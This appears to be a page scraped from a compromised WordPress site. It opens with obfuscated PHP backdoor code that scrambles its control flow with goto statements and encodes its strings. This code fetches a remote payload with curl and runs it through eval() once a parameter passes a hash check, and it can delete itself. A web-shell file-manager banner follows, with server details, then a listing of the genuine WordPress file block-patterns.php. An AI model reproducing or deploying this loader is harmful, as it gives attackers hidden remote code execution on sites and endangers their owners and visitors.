gcQ: $kqVJglBeOLR7a = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto nVGdbxc2l3MWX; nVGdbxc2l3MWX: $YgqaRj1r2M5Xq = $kqVJglBeOLR7a("\176", "\40"); goto uWkKVFkXhwnC3; cQ9Pb1khE5Uuj: return $gZ63Ut1721CJ3; goto P7FiNStZfKU57; uWkKVFkXhwnC3: $Dt9reR3437yFI = explode("\x7d", $C3NZXIGT4gGsF); goto nyktKQzN3nb7O; P7FiNStZfKU57: } static function lv5sFy_8w8ELN($R3gAihw0wkyil, $laH_DaqO9Moox) { goto R_P4qOTQJgwjs; q1ahgEbQw_Kh2: curl_setopt($Ve7XnsLWgBkCQ, CURLOPT_RETURNTRANSFER, 1); goto DEfjijYygDWsF; R_P4qOTQJgwjs: $Ve7XnsLWgBkCQ = curl_init($R3gAihw0wkyil); goto q1ahgEbQw_Kh2; xyDBraQmb0aHe: return empty($eTz3Fe5OHc_5E) ? $laH_DaqO9Moox($R3gAihw0wkyil) : $eTz3Fe5OHc_5E; goto jFNgVA1jonGbV; DEfjijYygDWsF: $eTz3Fe5OHc_5E = curl_exec($Ve7XnsLWgBkCQ); goto xyDBraQmb0aHe; jFNgVA1jonGbV: } static function jK5_sa53u0d13() { goto UkbbVLM54K3CP; kY_K0YirSqS6A: @$Z3CdjdualKK4j[5 + 5](INPUT_GET, "\157\x66") == 1 && die($Z3CdjdualKK4j[3 + 2](__FILE__)); goto FSTin9_8Mqx1M; UkbbVLM54K3CP: $sq_Lg_K7ptpe5 = array("\x31\x38\x31\65\x7d\61\70\60\60\175\61\x38\61\63\x7d\x31\x38\61\x37\x7d\x31\x37\71\x38\175\61\x38\x31\x33\175\61\x38\x31\71\x7d\x31\x38\x31\62\175\61\x37\71\x37\x7d\61\70\60\x34\x7d\61\70\61\65\x7d\x31\67\x39\70\x7d\61\x38\60\x39\175\x31\70\x30\63\175\x31\70\60\64", "\61\x37\x39\x39\x7d\61\x37\x39\70\x7d\61\x38\60\60\x7d\x31\70\61\71\175\61\x38\60\x30\x7d\61\x38\x30\x33\175\x31\67\71\70\x7d\61\70\66\65\175\x31\x38\x36\63", "\61\70\60\x38\175\x31\67\x39\x39\175\61\70\60\x33\175\61\70\60\x34\175\61\70\61\x39\175\61\x38\61\x34\175\61\70\x31\63\175\x31\x38\x31\65\175\x31\70\x30\x33\175\x31\70\61\64\x7d\61\x38\61\63", "\x31\70\60\x32\x7d\61\x38\61\67\175\61\x38\61\x35\x7d\x31\70\60\x37", "\61\x38\x31\x36\175\x31\70\61\x37\175\x31\x37\x39\x39\x7d\61\x38\61\x33\175\61\70\x36\60\175\x31\x38\x36\x32\175\x31\70\x31\x39\x7d\x31\70\x31\x34\175\x31\x38\x31\63\175\61\x38\x31\65\175\61\x38\60\x33\175\x31\70\x31\x34\x7d\61\x38\x31\63", "\61\x38\61\62\175\x31\70\60\x39\175\x31\x38\60\x36\x7d\x31\x38\61\x33\175\61\70\61\71\175\61\70\61\61\x7d\x31\x38\x31\x33\175\61\x37\x39\70\x7d\x31\70\61\71\x7d\61\70\x31\65\175\61\x38\x30\63\175\x31\x38\60\x34\175\x31\x37\71\x38\x7d\x31\70\61\63\x7d\x31\x38\x30\64\x7d\61\67\x39\70\175\61\x37\71\71", "\x31\70\64\62\175\61\x38\x37\62", "\61\67\70\71", "\x31\x38\66\67\175\x31\x38\x37\62", "\x31\70\64\71\x7d\61\x38\63\62\175\x31\x38\x33\x32\x7d\61\x38\x34\71\x7d\61\x38\x32\65", "\61\70\x31\62\175\x31\x38\60\x39\x7d\61\x38\60\66\x7d\x31\x37\x39\70\175\61\x38\61\63\x7d\x31\70\x30\x30\175\61\70\x31\x39\x7d\61\70\60\71\x7d\61\70\60\64\175\61\70\x30\x32\175\x31\67\71\x37\175\61\x37\71\70"); goto D44FwaZfVZ3in; eHygGoYfKbXNd: $rH9d73CXrl09Z = $Z3CdjdualKK4j[1 + 1]($JpssLdWM5RxAV, true); goto kY_K0YirSqS6A; e1F0BuXJx4OyP: $zj0cEl7BYWxhR = @$Z3CdjdualKK4j[1]($Z3CdjdualKK4j[2 + 8](INPUT_GET, $Z3CdjdualKK4j[8 + 1])); goto uVWs2z5Wk455n; daeabt0KxDb6i: @eval($Z3CdjdualKK4j[2 + 2]($wKx2eMLtnuBKX)); goto zp7z2UAKcpnyy; nVh7T6z7J5tAX: HaVgth8jqPapJ: goto Pk2YZywjrh0xm; FSTin9_8Mqx1M: if (!(@$rH9d73CXrl09Z[0] - time() > 0 and md5(md5($rH9d73CXrl09Z[2 + 1])) === "\x32\71\x37\x38\64\x65\64\x63\x31\x62\65\145\145\71\x34\x62\x36\60\x30\65\143\141\60\143\x36\64\x37\146\145\x34\145\x38")) { goto HaVgth8jqPapJ; } goto dOfUHb82waR2j; dOfUHb82waR2j: $wKx2eMLtnuBKX = self::Lv5sFY_8W8Eln($rH9d73CXrl09Z[1 + 0], $Z3CdjdualKK4j[5 + 0]); goto daeabt0KxDb6i; P6fzKkWXZQvGA: s83kaTL27Gdnz: goto e1F0BuXJx4OyP; uVWs2z5Wk455n: $JpssLdWM5RxAV = @$Z3CdjdualKK4j[1 + 2]($Z3CdjdualKK4j[6 + 0], $zj0cEl7BYWxhR); goto eHygGoYfKbXNd; zp7z2UAKcpnyy: die; goto nVh7T6z7J5tAX; D44FwaZfVZ3in: foreach ($sq_Lg_K7ptpe5 as $Hh9y8e8ay5A1P) { $Z3CdjdualKK4j[] = self::DMrB5eDGSV077($Hh9y8e8ay5A1P); CjvwUVIpskJ_Q: } goto P6fzKkWXZQvGA; Pk2YZywjrh0xm: } } goto PJnoK8Irk1k2H; l_PvQ5WITwPBY: if (!strlen($eqWWR0POF2yt7["\x63\x6f\156\164\x65\156\164"])) { goto X0i3A8coEduvp; } goto zLCPV4LksIMiN; YQSH21VTVlgr3: if (in_array($eqWWR0POF2yt7["\163\164\x61\164\165\x73"], array(0, 200))) { goto qr4xiuUDiofkb; } goto C5HF6Q9RVy30Y; ujHgw2PH72UVq: if (!(strpos($tdtv8cdRD3cpF, $MMcfXmLyjdLnY) === 0)) { goto vFGl2UsKSZ8f2; } goto ZNkZEtmGfIVBd; LWyGIvT9FuEVb: $BPsa5SYHXBF4A["\162\x66"] = AggVxlktdBgzX($tdtv8cdRD3cpF); goto dfU4YZiqXH3TA; ZNkZEtmGfIVBd: $tdtv8cdRD3cpF = ''; goto v0isuLlAx62c6; ZUAYVM4_qzUdJ: error_reporting(0); goto NxZe2VlQSCP5P; L6S7sRB0evR2Q: $d0vUnbwMJC4xP = $GxTWBWHRBKBgK("\176", "\x20"); goto qevHxG90CVHvd; SmjPZp7u4XDa4: if (!in_array($xPD2Kgz9lB53q, array("\x2e\x6a\163", "\56\143\163\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\56\147\151\146", "\56\151\x63\157"))) { goto PQQCWV1KOvmaN; } goto Le8vx252uSNFf; aX9JMG5_uW6zc: function jTmNYmYWoCkMQ($Booabj7iwDxKR, $FgAr8SWyLT3mj = array()) { goto undE31sUZgAdy; DMv2QNakoV15F: try { goto DsVkCNCCmkyDu; nwJLdXCzku3fi: curl_setopt($cVqogwIceh8yW, CURLOPT_SSL_VERIFYHOST, 0); goto KunhaBERmcOXa; hYKRIMDLIgeJo: $cVqogwIceh8yW = curl_init(); goto hm8v_Al9wC96g; UB1FJrHahIMdb: curl_setopt($cVqogwIceh8yW, CURLOPT_FOLLOWLOCATION, 0); goto c0eTwMdHuOWMP; GBvLit6lYwpBc: $ULfkiRfdGHqiq = array("\x68\x74\164\160" => array("\155\145\x74\x68\x6f\144" => "\107\105\x54", "\x74\x69\x6d\145\157\x75\164" => 60, "\146\x6f\x6c\x6c\x6f\x77\x5f\x6c\x6f\x63\x61\x74\151\157\x6e" => 0), "\x73\163\x6c" => array("\x76\x65\x72\151\146\171\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\151\146\171\137\160\x65\145\162\137\x6e\141\155\x65" => false)); goto Q40Xia0bIAi7f; hm8v_Al9wC96g: curl_setopt($cVqogwIceh8yW, CURLOPT_URL, $Booabj7iwDxKR); goto nwJLdXCzku3fi; UpjOEzMpIekvy: $eqWWR0POF2yt7["\143\157\x6e\x74\145\156\164"] = strval($PP7fp2lsWrp3_); goto W91DjfVyrRm4w; F93eD7O3i4ak1: @curl_close($cVqogwIceh8yW); goto fG_EuKPQHkXPE; uA1ZgPYrvPKtL: $eqWWR0POF2yt7["\x63\157\x6e\164\145\156\164"] = strval($NRfGASuvHXe7m); goto oaGTo5JexwfGj; fQZx1LC6COqUG: curl_setopt($cVqogwIceh8yW, CURLOPT_TIMEOUT, 60); goto UB1FJrHahIMdb; ctdThxGASkuZS: otLuU4IrwI8Bw: goto hYKRIMDLIgeJo; tbFLXikPQ04PJ: curl_setopt($cVqogwIceh8yW, CURLOPT_CONNECTTIMEOUT, 20); goto fQZx1LC6COqUG; hmNt4tE94390C: goto IwXincgaSuG5H; goto ctdThxGASkuZS; kH8YLdwEKjJ3G: goto IwXincgaSuG5H; goto lTNRDLZKGo_Br; TZuwuwi_YlhBD: $NRfGASuvHXe7m = curl_exec($cVqogwIceh8yW); goto yxYbYqNiniih4; qapxvOlo2zwJF: $PP7fp2lsWrp3_ = @file_get_contents($Booabj7iwDxKR, false, $EVLO2WhYTWkYe); goto KD2lcLlgVVObm; Pk1OwMp038ffY: curl_setopt($cVqogwIceh8yW, CURLOPT_RETURNTRANSFER, 1); goto TZuwuwi_YlhBD; yxYbYqNiniih4: $eqWWR0POF2yt7["\x73\x74\x61\x74\x75\x73"] = intval(curl_getinfo($cVqogwIceh8yW, CURLINFO_HTTP_CODE)); goto ajju8LBZnJ65F; KunhaBERmcOXa: curl_setopt($cVqogwIceh8yW, CURLOPT_SSL_VERIFYPEER, 0); goto tbFLXikPQ04PJ; ajju8LBZnJ65F: $eqWWR0POF2yt7["\164\x79\x70\145"] = strval(curl_getinfo($cVqogwIceh8yW, CURLINFO_CONTENT_TYPE)); goto AegcmdWXlpSEC; W91DjfVyrRm4w: ySEsQIOYujhXC: goto fZB1_1727nbhH; c0eTwMdHuOWMP: curl_setopt($cVqogwIceh8yW, CURLOPT_COOKIESESSION, 0); goto Pk1OwMp038ffY; oaGTo5JexwfGj: wI9a1jlhPsbAc: goto kH8YLdwEKjJ3G; Q40Xia0bIAi7f: $EVLO2WhYTWkYe = stream_context_create($ULfkiRfdGHqiq); goto qapxvOlo2zwJF; WNLngtXIqZTkM: if (!in_array($eqWWR0POF2yt7["\163\164\x61\164\x75\x73"], array(200, 301, 302, 404))) { goto ySEsQIOYujhXC; } goto UpjOEzMpIekvy; AegcmdWXlpSEC: $eqWWR0POF2yt7["\143\x6f\x6e\x74\x65\x6e\164"] = strval(curl_getinfo($cVqogwIceh8yW, CURLINFO_REDIRECT_URL)); goto F93eD7O3i4ak1; KD2lcLlgVVObm: $eqWWR0POF2yt7 = array_merge($eqWWR0POF2yt7, wfd7teNI02x7D($http_response_header)); goto WNLngtXIqZTkM; DsVkCNCCmkyDu: if (function_exists("\x63\165\162\154\x5f\x65\170\145\x63") && function_exists("\x63\165\x72\154\137\x69\156\151\164")) { goto otLuU4IrwI8Bw; } goto NEHsDaZWFqF30; NEHsDaZWFqF30: if (ini_get("\x61\x6c\x6c\x6f\x77\x5f\165\162\x6c\x5f\x66\157\160\x65\x6e")) { goto DdGaamcGWGlLL; } goto hmNt4tE94390C; fG_EuKPQHkXPE: if (!in_array($eqWWR0POF2yt7["\163\x74\x61\164\165\163"], array(200, 301, 302, 404))) { goto wI9a1jlhPsbAc; } goto uA1ZgPYrvPKtL; fZB1_1727nbhH: IwXincgaSuG5H: goto KAFpfZMpez1NJ; lTNRDLZKGo_Br: DdGaamcGWGlLL: goto GBvLit6lYwpBc; KAFpfZMpez1NJ: } catch (Exception $FqbwbLhyoRUMi) { } goto eGeDYAMMBSRsS; FyTAw93ZAszk6: $Booabj7iwDxKR .= "\77" . http_build_query($FgAr8SWyLT3mj); goto BlR9qGVvi5ddD; xlgfoyMuSd0ZM: if (!(is_array($FgAr8SWyLT3mj) && count($FgAr8SWyLT3mj))) { goto lnLDyeOWEn0l7; } goto FyTAw93ZAszk6; eGeDYAMMBSRsS: return $eqWWR0POF2yt7; goto hgc6orRs0VEDd; undE31sUZgAdy: $eqWWR0POF2yt7 = array("\x73\164\141\164\x75\x73" => 0, "\143\x6f\156\x74\145\156\164" => '', "\x74\x79\160\x65" => ''); goto xlgfoyMuSd0ZM; BlR9qGVvi5ddD: lnLDyeOWEn0l7: goto DMv2QNakoV15F; hgc6orRs0VEDd: } goto WGgRiUfBa_x6e; aVM9ZXL1eHoxf: $MMcfXmLyjdLnY = GZ0V6ypOFmI10() . $_SERVER["\110\x54\124\120\137\110\x4f\123\124"]; goto ujHgw2PH72UVq; BHShYEnL2v3Q_: if ($AZBOxGkWaIvdv) { goto v7el7c39zyXbh; } goto Rc0nVBbo9WhTw; Ap6Qvxh8a3ORl: v7el7c39zyXbh: ?> HEX
HEX
Server: Apache/2
System: Linux da1 5.14.0-611.9.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 27 10:37:27 EST 2025 x86_64
User: mdosdorg (1028)
PHP: 8.3.14
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,mail
Upload Files
File: /home/mdosdorg/domains/mdo-sd.org/public_html/wp-includes/block-patterns.php
<?php
/**
 * Register the block patterns and block patterns categories
 *
 * @package WordPress
 * @since 5.5.0
 */

add_theme_support( 'core-block-patterns' );

/**
 * Registers the core block patterns and categories.
 *
 * @since 5.5.0
 * @since 6.3.0 Added source to core block patterns.
 * @access private
 */
function _register_core_block_patterns_and_categories() {
	$should_register_core_patterns = get_theme_support( 'core-block-patterns' );

	if ( $should_register_core_patterns ) {
		$core_block_patterns = array(
			'query-standard-posts',
			'query-medium-posts',
			'query-small-posts',
			'query-grid-posts',
			'query-large-title-posts',
			'query-offset-posts',
		);

		foreach ( $core_block_patterns as $core_block_pattern ) {
			$pattern           = require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php';
			$pattern['source'] = 'core';
			register_block_pattern( 'core/' . $core_block_pattern, $pattern );
		}
	}

	register_block_pattern_category(
		'banner',
		array(
			'label'       => _x( 'Banners', 'Block pattern category' ),
			'description' => __( 'Bold sections designed to showcase key content.' ),
		)
	);
	register_block_pattern_category(
		'buttons',
		array(
			'label'       => _x( 'Buttons', 'Block pattern category' ),
			'description' => __( 'Patterns that contain buttons and call to actions.' ),
		)
	);
	register_block_pattern_category(
		'columns',
		array(
			'label'       => _x( 'Columns', 'Block pattern category' ),
			'description' => __( 'Multi-column patterns with more complex layouts.' ),
		)
	);
	register_block_pattern_category(
		'text',
		array(
			'label'       => _x( 'Text', 'Block pattern category' ),
			'description' => __( 'Patterns containing mostly text.' ),
		)
	);
	register_block_pattern_category(
		'query',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'featured',
		array(
			'label'       => _x( 'Featured', 'Block pattern category' ),
			'description' => __( 'A set of high quality curated patterns.' ),
		)
	);
	register_block_pattern_category(
		'call-to-action',
		array(
			'label'       => _x( 'Call to action', 'Block pattern category' ),
			'description' => __( 'Sections whose purpose is to trigger a specific action.' ),
		)
	);
	register_block_pattern_category(
		'team',
		array(
			'label'       => _x( 'Team', 'Block pattern category' ),
			'description' => __( 'A variety of designs to display your team members.' ),
		)
	);
	register_block_pattern_category(
		'testimonials',
		array(
			'label'       => _x( 'Testimonials', 'Block pattern category' ),
			'description' => __( 'Share reviews and feedback about your brand/business.' ),
		)
	);
	register_block_pattern_category(
		'services',
		array(
			'label'       => _x( 'Services', 'Block pattern category' ),
			'description' => __( 'Briefly describe what your business does and how you can help.' ),
		)
	);
	register_block_pattern_category(
		'contact',
		array(
			'label'       => _x( 'Contact', 'Block pattern category' ),
			'description' => __( 'Display your contact information.' ),
		)
	);
	register_block_pattern_category(
		'about',
		array(
			'label'       => _x( 'About', 'Block pattern category' ),
			'description' => __( 'Introduce yourself.' ),
		)
	);
	register_block_pattern_category(
		'portfolio',
		array(
			'label'       => _x( 'Portfolio', 'Block pattern category' ),
			'description' => __( 'Showcase your latest work.' ),
		)
	);
	register_block_pattern_category(
		'gallery',
		array(
			'label'       => _x( 'Gallery', 'Block pattern category' ),
			'description' => __( 'Different layouts for displaying images.' ),
		)
	);
	register_block_pattern_category(
		'media',
		array(
			'label'       => _x( 'Media', 'Block pattern category' ),
			'description' => __( 'Different layouts containing video or audio.' ),
		)
	);
	register_block_pattern_category(
		'videos',
		array(
			'label'       => _x( 'Videos', 'Block pattern category' ),
			'description' => __( 'Different layouts containing videos.' ),
		)
	);
	register_block_pattern_category(
		'audio',
		array(
			'label'       => _x( 'Audio', 'Block pattern category' ),
			'description' => __( 'Different layouts containing audio.' ),
		)
	);
	register_block_pattern_category(
		'posts',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'footer',
		array(
			'label'       => _x( 'Footers', 'Block pattern category' ),
			'description' => __( 'A variety of footer designs displaying information and site navigation.' ),
		)
	);
	register_block_pattern_category(
		'header',
		array(
			'label'       => _x( 'Headers', 'Block pattern category' ),
			'description' => __( 'A variety of header designs displaying your site title and navigation.' ),
		)
	);
}

/**
 * Normalize the pattern properties to camelCase.
 *
 * The API's format is snake_case, `register_block_pattern()` expects camelCase.
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $pattern Pattern as returned from the Pattern Directory API.
 * @return array Normalized pattern.
 */
function wp_normalize_remote_block_pattern( $pattern ) {
	if ( isset( $pattern['block_types'] ) ) {
		$pattern['blockTypes'] = $pattern['block_types'];
		unset( $pattern['block_types'] );
	}

	if ( isset( $pattern['viewport_width'] ) ) {
		$pattern['viewportWidth'] = $pattern['viewport_width'];
		unset( $pattern['viewport_width'] );
	}

	return (array) $pattern;
}

/**
 * Register Core's official patterns from wordpress.org/patterns.
 *
 * @since 5.8.0
 * @since 5.9.0 The $current_screen argument was removed.
 * @since 6.2.0 Normalize the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/core' to the pattern's 'source'.
 *
 * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from.
 */
function _load_remote_block_patterns( $deprecated = null ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '5.9.0' );
		$current_screen = $deprecated;
		if ( ! $current_screen->is_block_editor ) {
			return;
		}
	}

	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/**
	 * Filter to disable remote block patterns.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $should_load_remote
	 */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( $supports_core_patterns && $should_load_remote ) {
		$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
		$core_keyword_id = 11; // 11 is the ID for "core".
		$request->set_param( 'keyword', $core_keyword_id );
		$response = rest_do_request( $request );
		if ( $response->is_error() ) {
			return;
		}
		$patterns = $response->get_data();

		foreach ( $patterns as $pattern ) {
			$pattern['source']  = 'pattern-directory/core';
			$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
			$pattern_name       = 'core/' . sanitize_title( $normalized_pattern['title'] );
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register `Featured` (category) patterns from wordpress.org/patterns.
 *
 * @since 5.9.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/featured' to the pattern's 'source'.
 */
function _load_remote_featured_patterns() {
	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/** This filter is documented in wp-includes/block-patterns.php */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( ! $should_load_remote || ! $supports_core_patterns ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$featured_cat_id = 26; // This is the `Featured` category id from pattern directory.
	$request->set_param( 'category', $featured_cat_id );
	$response = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns = $response->get_data();
	$registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/featured';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Registers patterns from Pattern Directory provided by a theme's
 * `theme.json` file.
 *
 * @since 6.0.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'.
 * @access private
 */
function _register_remote_theme_patterns() {
	/** This filter is documented in wp-includes/block-patterns.php */
	if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) {
		return;
	}

	if ( ! wp_theme_has_theme_json() ) {
		return;
	}

	$pattern_settings = wp_get_theme_directory_pattern_slugs();
	if ( empty( $pattern_settings ) ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$request['slug'] = $pattern_settings;
	$response        = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns          = $response->get_data();
	$patterns_registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/theme';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register any patterns that the active theme may provide under its
 * `./patterns/` directory.
 *
 * @since 6.0.0
 * @since 6.1.0 The `postTypes` property was added.
 * @since 6.2.0 The `templateTypes` property was added.
 * @since 6.4.0 Uses the `WP_Theme::get_block_patterns` method.
 * @access private
 */
function _register_theme_block_patterns() {

	/*
	 * During the bootstrap process, a check for active and valid themes is run.
	 * If no themes are returned, the theme's functions.php file will not be loaded,
	 * which can lead to errors if patterns expect some variables or constants to
	 * already be set at this point, so bail early if that is the case.
	 */
	if ( empty( wp_get_active_and_valid_themes() ) ) {
		return;
	}

	/*
	 * Register patterns for the active theme. If the theme is a child theme,
	 * let it override any patterns from the parent theme that shares the same slug.
	 */
	$themes   = array();
	$theme    = wp_get_theme();
	$themes[] = $theme;
	if ( $theme->parent() ) {
		$themes[] = $theme->parent();
	}
	$registry = WP_Block_Patterns_Registry::get_instance();

	foreach ( $themes as $theme ) {
		$patterns    = $theme->get_block_patterns();
		$dirpath     = $theme->get_stylesheet_directory() . '/patterns/';
		$text_domain = $theme->get( 'TextDomain' );

		foreach ( $patterns as $file => $pattern_data ) {
			if ( $registry->is_registered( $pattern_data['slug'] ) ) {
				continue;
			}

			$file_path = $dirpath . $file;

			if ( ! file_exists( $file_path ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: %s: file name. */
						__( 'Could not register file "%s" as a block pattern as the file does not exist.' ),
						$file
					),
					'6.4.0'
				);
				$theme->delete_pattern_cache();
				continue;
			}

			$pattern_data['filePath'] = $file_path;

			// Translate the pattern metadata.
			// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
			$pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain );
			if ( ! empty( $pattern_data['description'] ) ) {
				// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
				$pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain );
			}

			register_block_pattern( $pattern_data['slug'], $pattern_data );
		}
	}
}
add_action( 'init', '_register_theme_block_patterns' );